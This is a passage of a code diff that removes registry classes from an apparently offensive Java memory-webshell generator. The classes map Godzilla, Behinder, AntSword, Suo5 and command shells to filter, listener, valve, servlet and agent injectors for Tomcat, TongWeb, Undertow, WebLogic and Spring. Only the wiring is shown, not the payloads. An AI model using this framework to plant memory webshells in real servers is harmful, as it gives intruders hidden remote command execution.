map.put(CONTROLLER_HANDLER, Pair.of(BehinderControllerHandler.class, SpringWebMvcControllerHandlerInjector.class));
map.put(JAKARTA_CONTROLLER_HANDLER, Pair.of(BehinderControllerHandler.class, SpringWebMvcControllerHandlerInjector.class));
map.put(AGENT_FRAMEWORK_SERVLET, Pair.of(BehinderServletAdvisor.class, SpringWebMvcFrameworkServletAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(INTERCEPTOR, Pair.of(CommandInterceptor.class, SpringWebMvcInterceptorInjector.class));
map.put(JAKARTA_INTERCEPTOR, Pair.of(CommandInterceptor.class, SpringWebMvcInterceptorInjector.class));
map.put(CONTROLLER_HANDLER, Pair.of(CommandControllerHandler.class, SpringWebMvcControllerHandlerInjector.class));
map.put(JAKARTA_CONTROLLER_HANDLER, Pair.of(CommandControllerHandler.class, SpringWebMvcControllerHandlerInjector.class));
map.put(AGENT_FRAMEWORK_SERVLET, Pair.of(CommandFilterChainAdvisor.class, SpringWebMvcFrameworkServletAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(INTERCEPTOR, Pair.of(GodzillaInterceptor.class, SpringWebMvcInterceptorInjector.class));
map.put(JAKARTA_INTERCEPTOR, Pair.of(GodzillaInterceptor.class, SpringWebMvcInterceptorInjector.class));
map.put(CONTROLLER_HANDLER, Pair.of(GodzillaControllerHandler.class, SpringWebMvcControllerHandlerInjector.class));
map.put(JAKARTA_CONTROLLER_HANDLER, Pair.of(GodzillaControllerHandler.class, SpringWebMvcControllerHandlerInjector.class));
map.put(AGENT_FRAMEWORK_SERVLET, Pair.of(GodzillaServletAdvisor.class, SpringWebMvcFrameworkServletAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(INTERCEPTOR, Pair.of(Suo5Interceptor.class, SpringWebMvcInterceptorInjector.class));
map.put(JAKARTA_INTERCEPTOR, Pair.of(Suo5Interceptor.class, SpringWebMvcInterceptorInjector.class));
map.put(CONTROLLER_HANDLER, Pair.of(Suo5ControllerHandler.class, SpringWebMvcControllerHandlerInjector.class));
map.put(JAKARTA_CONTROLLER_HANDLER, Pair.of(Suo5ControllerHandler.class, SpringWebMvcControllerHandlerInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(INTERCEPTOR, Pair.of(AntSwordInterceptor.class, SpringWebMvcInterceptorInjector.class));
map.put(CONTROLLER_HANDLER, Pair.of(AntSwordControllerHandler.class, SpringWebMvcControllerHandlerInjector.class));
map.put(AGENT_FRAMEWORK_SERVLET, Pair.of(AntSwordServletAdvisor.class, SpringWebMvcFrameworkServletAgentInjector.class));
return map;
}
}
@@ -1,119 +0,0 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordValve;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve;
import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener;
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
import com.reajason.javaweb.memshell.tomcat.command.CommandWebSocket;
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.tomcat.injector.*;
import com.reajason.javaweb.memshell.tomcat.suo5.Suo5Listener;
import org.apache.commons.lang3.tuple.Pair;
import java.util.LinkedHashMap;
import java.util.Map;
import static com.reajason.javaweb.memshell.config.Constants.*;
/**
* @author ReaJason
* @since 2024/11/22
*/
public class TomcatShell extends AbstractShell {
public static final String WEBSOCKET = "WebSocket";
public static final String UPGRADE = "Upgrade";
public static final String EXECUTOR = "Executor";
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(CommandServlet.class, TomcatServletInjector.class));
map.put(JAKARTA_SERVLET, Pair.of(CommandServlet.class, TomcatServletInjector.class));
map.put(FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class));
map.put(JAKARTA_FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class));
map.put(LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class));
map.put(JAKARTA_LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class));
map.put(VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class));
map.put(JAKARTA_VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(CommandFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
map.put(AGENT_CONTEXT_VALVE, Pair.of(CommandFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
map.put(WEBSOCKET, Pair.of(CommandWebSocket.class, TomcatWebSocketInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(GodzillaServlet.class, TomcatServletInjector.class));
map.put(JAKARTA_SERVLET, Pair.of(GodzillaServlet.class, TomcatServletInjector.class));
map.put(FILTER, Pair.of(GodzillaFilter.class, TomcatFilterInjector.class));
map.put(JAKARTA_FILTER, Pair.of(GodzillaFilter.class, TomcatFilterInjector.class));
map.put(LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class));
map.put(JAKARTA_LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class));
map.put(VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class));
map.put(JAKARTA_VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(GodzillaFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
map.put(AGENT_CONTEXT_VALVE, Pair.of(GodzillaFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(BehinderServlet.class, TomcatServletInjector.class));
map.put(JAKARTA_SERVLET, Pair.of(BehinderServlet.class, TomcatServletInjector.class));
map.put(FILTER, Pair.of(BehinderFilter.class, TomcatFilterInjector.class));
map.put(JAKARTA_FILTER, Pair.of(BehinderFilter.class, TomcatFilterInjector.class));
map.put(LISTENER, Pair.of(BehinderListener.class, TomcatListenerInjector.class));
map.put(JAKARTA_LISTENER, Pair.of(BehinderListener.class, TomcatListenerInjector.class));
map.put(VALVE, Pair.of(BehinderValve.class, TomcatValveInjector.class));
map.put(JAKARTA_VALVE, Pair.of(BehinderValve.class, TomcatValveInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(BehinderFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
map.put(AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(Suo5Servlet.class, TomcatServletInjector.class));
map.put(JAKARTA_SERVLET, Pair.of(Suo5Servlet.class, TomcatServletInjector.class));
map.put(FILTER, Pair.of(Suo5Filter.class, TomcatFilterInjector.class));
map.put(JAKARTA_FILTER, Pair.of(Suo5Filter.class, TomcatFilterInjector.class));
map.put(LISTENER, Pair.of(Suo5Listener.class, TomcatListenerInjector.class));
map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, TomcatListenerInjector.class));
map.put(VALVE, Pair.of(Suo5Valve.class, TomcatValveInjector.class));
map.put(JAKARTA_VALVE, Pair.of(Suo5Valve.class, TomcatValveInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(AntSwordServlet.class, TomcatServletInjector.class));
map.put(FILTER, Pair.of(AntSwordFilter.class, TomcatFilterInjector.class));
map.put(LISTENER, Pair.of(AntSwordListener.class, TomcatListenerInjector.class));
map.put(VALVE, Pair.of(AntSwordValve.class, TomcatValveInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
return map;
}
}
@@ -1,100 +0,0 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener;
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.tomcat.suo5.Suo5Listener;
import com.reajason.javaweb.memshell.tongweb.antsword.AntSwordValve6;
import com.reajason.javaweb.memshell.tongweb.behinder.BehinderValve6;
import com.reajason.javaweb.memshell.tongweb.command.CommandValve6;
import com.reajason.javaweb.memshell.tongweb.godzilla.GodzillaValve6;
import com.reajason.javaweb.memshell.tongweb.injector.*;
import com.reajason.javaweb.memshell.tongweb.suo5.Suo5Valve6;
import org.apache.commons.lang3.tuple.Pair;
import java.util.LinkedHashMap;
import java.util.Map;
import static com.reajason.javaweb.memshell.config.Constants.*;
/**
* @author ReaJason
* @since 2024/12/26
*/
public class TongWeb6Shell extends AbstractShell {
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(CommandFilter.class, TongWebFilterInjector.class));
map.put(JAKARTA_FILTER, Pair.of(CommandFilter.class, TongWebFilterInjector.class));
map.put(LISTENER, Pair.of(CommandListener.class, TongWebListenerInjector.class));
map.put(JAKARTA_LISTENER, Pair.of(CommandListener.class, TongWebListenerInjector.class));
map.put(VALVE, Pair.of(CommandValve6.class, TongWebValveInjector.class));
map.put(JAKARTA_VALVE, Pair.of(CommandValve6.class, TongWebValveInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(CommandFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class));
map.put(AGENT_CONTEXT_VALVE, Pair.of(CommandFilterChainAdvisor.class, TongWebContextValveAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(GodzillaFilter.class, TongWebFilterInjector.class));
map.put(JAKARTA_FILTER, Pair.of(GodzillaFilter.class, TongWebFilterInjector.class));
map.put(LISTENER, Pair.of(GodzillaListener.class, TongWebListenerInjector.class));
map.put(JAKARTA_LISTENER, Pair.of(GodzillaListener.class, TongWebListenerInjector.class));
map.put(VALVE, Pair.of(GodzillaValve6.class, TongWebValveInjector.class));
map.put(JAKARTA_VALVE, Pair.of(GodzillaValve6.class, TongWebValveInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(GodzillaFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class));
map.put(AGENT_CONTEXT_VALVE, Pair.of(GodzillaFilterChainAdvisor.class, TongWebContextValveAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(BehinderFilter.class, TongWebFilterInjector.class));
map.put(JAKARTA_FILTER, Pair.of(BehinderFilter.class, TongWebFilterInjector.class));
map.put(LISTENER, Pair.of(BehinderListener.class, TongWebListenerInjector.class));
map.put(JAKARTA_LISTENER, Pair.of(BehinderListener.class, TongWebListenerInjector.class));
map.put(VALVE, Pair.of(BehinderValve6.class, TongWebValveInjector.class));
map.put(JAKARTA_VALVE, Pair.of(BehinderValve6.class, TongWebValveInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(BehinderFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class));
map.put(AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, TongWebContextValveAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(Suo5Filter.class, TongWebFilterInjector.class));
map.put(JAKARTA_FILTER, Pair.of(Suo5Filter.class, TongWebFilterInjector.class));
map.put(LISTENER, Pair.of(Suo5Listener.class, TongWebListenerInjector.class));
map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, TongWebListenerInjector.class));
map.put(VALVE, Pair.of(Suo5Valve6.class, TongWebValveInjector.class));
map.put(JAKARTA_VALVE, Pair.of(Suo5Valve6.class, TongWebValveInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(AntSwordFilter.class, TongWebFilterInjector.class));
map.put(LISTENER, Pair.of(AntSwordListener.class, TongWebListenerInjector.class));
map.put(VALVE, Pair.of(AntSwordValve6.class, TongWebValveInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class));
map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TongWebContextValveAgentInjector.class));
return map;
}
}
@@ -1,100 +0,0 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener;
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.tomcat.suo5.Suo5Listener;
import com.reajason.javaweb.memshell.tongweb.antsword.AntSwordValve7;
import com.reajason.javaweb.memshell.tongweb.behinder.BehinderValve7;
import com.reajason.javaweb.memshell.tongweb.command.CommandValve7;
import com.reajason.javaweb.memshell.tongweb.godzilla.GodzillaValve7;
import com.reajason.javaweb.memshell.tongweb.injector.*;
import com.reajason.javaweb.memshell.tongweb.suo5.Suo5Valve7;
import org.apache.commons.lang3.tuple.Pair;
import java.util.LinkedHashMap;
import java.util.Map;
import static com.reajason.javaweb.memshell.config.Constants.*;
/**
* @author ReaJason
* @since 2024/12/26
*/
public class TongWeb7Shell extends AbstractShell {
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(CommandFilter.class, TongWebFilterInjector.class));
map.put(JAKARTA_FILTER, Pair.of(CommandFilter.class, TongWebFilterInjector.class));
map.put(LISTENER, Pair.of(CommandListener.class, TongWebListenerInjector.class));
map.put(JAKARTA_LISTENER, Pair.of(CommandListener.class, TongWebListenerInjector.class));
map.put(VALVE, Pair.of(CommandValve7.class, TongWebValveInjector.class));
map.put(JAKARTA_VALVE, Pair.of(CommandValve7.class, TongWebValveInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(CommandFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class));
map.put(AGENT_CONTEXT_VALVE, Pair.of(CommandFilterChainAdvisor.class, TongWebContextValveAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(GodzillaFilter.class, TongWebFilterInjector.class));
map.put(JAKARTA_FILTER, Pair.of(GodzillaFilter.class, TongWebFilterInjector.class));
map.put(LISTENER, Pair.of(GodzillaListener.class, TongWebListenerInjector.class));
map.put(JAKARTA_LISTENER, Pair.of(GodzillaListener.class, TongWebListenerInjector.class));
map.put(VALVE, Pair.of(GodzillaValve7.class, TongWebValveInjector.class));
map.put(JAKARTA_VALVE, Pair.of(GodzillaValve7.class, TongWebValveInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(GodzillaFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class));
map.put(AGENT_CONTEXT_VALVE, Pair.of(GodzillaFilterChainAdvisor.class, TongWebContextValveAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(BehinderFilter.class, TongWebFilterInjector.class));
map.put(JAKARTA_FILTER, Pair.of(BehinderFilter.class, TongWebFilterInjector.class));
map.put(LISTENER, Pair.of(BehinderListener.class, TongWebListenerInjector.class));
map.put(JAKARTA_LISTENER, Pair.of(BehinderListener.class, TongWebListenerInjector.class));
map.put(VALVE, Pair.of(BehinderValve7.class, TongWebValveInjector.class));
map.put(JAKARTA_VALVE, Pair.of(BehinderValve7.class, TongWebValveInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(BehinderFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class));
map.put(AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, TongWebContextValveAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(Suo5Filter.class, TongWebFilterInjector.class));
map.put(JAKARTA_FILTER, Pair.of(Suo5Filter.class, TongWebFilterInjector.class));
map.put(LISTENER, Pair.of(Suo5Listener.class, TongWebListenerInjector.class));
map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, TongWebListenerInjector.class));
map.put(VALVE, Pair.of(Suo5Valve7.class, TongWebValveInjector.class));
map.put(JAKARTA_VALVE, Pair.of(Suo5Valve7.class, TongWebValveInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(AntSwordFilter.class, TongWebFilterInjector.class));
map.put(LISTENER, Pair.of(AntSwordListener.class, TongWebListenerInjector.class));
map.put(VALVE, Pair.of(AntSwordValve7.class, TongWebValveInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class));
map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TongWebContextValveAgentInjector.class));
return map;
}
}
@@ -1,100 +0,0 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
import com.reajason.javaweb.memshell.undertow.antsword.AntSwordListener;
import com.reajason.javaweb.memshell.undertow.antsword.AntSwordServletInitialHandlerAdvisor;
import com.reajason.javaweb.memshell.undertow.behinder.BehinderListener;
import com.reajason.javaweb.memshell.undertow.behinder.BehinderServletInitialHandlerAdvisor;
import com.reajason.javaweb.memshell.undertow.command.CommandListener;
import com.reajason.javaweb.memshell.undertow.command.CommandServletInitialHandlerAdvisor;
import com.reajason.javaweb.memshell.undertow.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.undertow.godzilla.GodzillaServletInitialHandlerAdvisor;
import com.reajason.javaweb.memshell.undertow.injector.UndertowFilterInjector;
import com.reajason.javaweb.memshell.undertow.injector.UndertowListenerInjector;
import com.reajason.javaweb.memshell.undertow.injector.UndertowServletInitialHandlerAgentInjector;
import com.reajason.javaweb.memshell.undertow.injector.UndertowServletInjector;
import com.reajason.javaweb.memshell.undertow.suo5.Suo5Listener;
import org.apache.commons.lang3.tuple.Pair;
import java.util.LinkedHashMap;
import java.util.Map;
import static com.reajason.javaweb.memshell.config.Constants.*;
/**
* @author ReaJason
* @since 2024/12/10
*/
public class UndertowShell extends AbstractShell {
public static final String AGENT_SERVLET_HANDLER = AGENT + "ServletHandler";
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(CommandServlet.class, UndertowServletInjector.class));
map.put(JAKARTA_SERVLET, Pair.of(CommandServlet.class, UndertowServletInjector.class));
map.put(FILTER, Pair.of(CommandFilter.class, UndertowFilterInjector.class));
map.put(JAKARTA_FILTER, Pair.of(CommandFilter.class, UndertowFilterInjector.class));
map.put(LISTENER, Pair.of(CommandListener.class, UndertowListenerInjector.class));
map.put(JAKARTA_LISTENER, Pair.of(CommandListener.class, UndertowListenerInjector.class));
map.put(AGENT_SERVLET_HANDLER, Pair.of(CommandServletInitialHandlerAdvisor.class, UndertowServletInitialHandlerAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(GodzillaServlet.class, UndertowServletInjector.class));
map.put(JAKARTA_SERVLET, Pair.of(GodzillaServlet.class, UndertowServletInjector.class));
map.put(FILTER, Pair.of(GodzillaFilter.class, UndertowFilterInjector.class));
map.put(JAKARTA_FILTER, Pair.of(GodzillaFilter.class, UndertowFilterInjector.class));
map.put(LISTENER, Pair.of(GodzillaListener.class, UndertowListenerInjector.class));
map.put(JAKARTA_LISTENER, Pair.of(GodzillaListener.class, UndertowListenerInjector.class));
map.put(AGENT_SERVLET_HANDLER, Pair.of(GodzillaServletInitialHandlerAdvisor.class, UndertowServletInitialHandlerAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(BehinderServlet.class, UndertowServletInjector.class));
map.put(JAKARTA_SERVLET, Pair.of(BehinderServlet.class, UndertowServletInjector.class));
map.put(FILTER, Pair.of(BehinderFilter.class, UndertowFilterInjector.class));
map.put(JAKARTA_FILTER, Pair.of(BehinderFilter.class, UndertowFilterInjector.class));
map.put(LISTENER, Pair.of(BehinderListener.class, UndertowListenerInjector.class));
map.put(JAKARTA_LISTENER, Pair.of(BehinderListener.class, UndertowListenerInjector.class));
map.put(AGENT_SERVLET_HANDLER, Pair.of(BehinderServletInitialHandlerAdvisor.class, UndertowServletInitialHandlerAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(Suo5Servlet.class, UndertowServletInjector.class));
map.put(JAKARTA_SERVLET, Pair.of(Suo5Servlet.class, UndertowServletInjector.class));
map.put(FILTER, Pair.of(Suo5Filter.class, UndertowFilterInjector.class));
map.put(JAKARTA_FILTER, Pair.of(Suo5Filter.class, UndertowFilterInjector.class));
map.put(LISTENER, Pair.of(Suo5Listener.class, UndertowListenerInjector.class));
map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, UndertowListenerInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(AntSwordServlet.class, UndertowServletInjector.class));
map.put(FILTER, Pair.of(AntSwordFilter.class, UndertowFilterInjector.class));
map.put(LISTENER, Pair.of(AntSwordListener.class, UndertowListenerInjector.class));
map.put(AGENT_SERVLET_HANDLER, Pair.of(AntSwordServletInitialHandlerAdvisor.class, UndertowServletInitialHandlerAgentInjector.class));
return map;
}
}
@@ -1,88 +0,0 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
import com.reajason.javaweb.memshell.weblogic.antsword.AntSwordListener;
import com.reajason.javaweb.memshell.weblogic.behinder.BehinderListener;
import com.reajason.javaweb.memshell.weblogic.command.CommandListener;
import com.reajason.javaweb.memshell.weblogic.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.weblogic.injector.WebLogicFilterInjector;
import com.reajason.javaweb.memshell.weblogic.injector.WebLogicListenerInjector;
import com.reajason.javaweb.memshell.weblogic.injector.WebLogicServletContextAgentInjector;
import com.reajason.javaweb.memshell.weblogic.injector.WebLogicServletInjector;
import com.reajason.javaweb.memshell.weblogic.suo5.Suo5Listener;
import org.apache.commons.lang3.tuple.Pair;
import java.util.LinkedHashMap;
import java.util.Map;
import static com.reajason.javaweb.memshell.config.Constants.*;
/**
* @author ReaJason
* @since 2024/12/24
*/
public class WebLogicShell extends AbstractShell {
public static final String AGENT_SERVLET_CONTEXT = AGENT + "ServletContext";
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(BehinderServlet.class, WebLogicServletInjector.class));
map.put(FILTER, Pair.of(BehinderFilter.class, WebLogicFilterInjector.class));
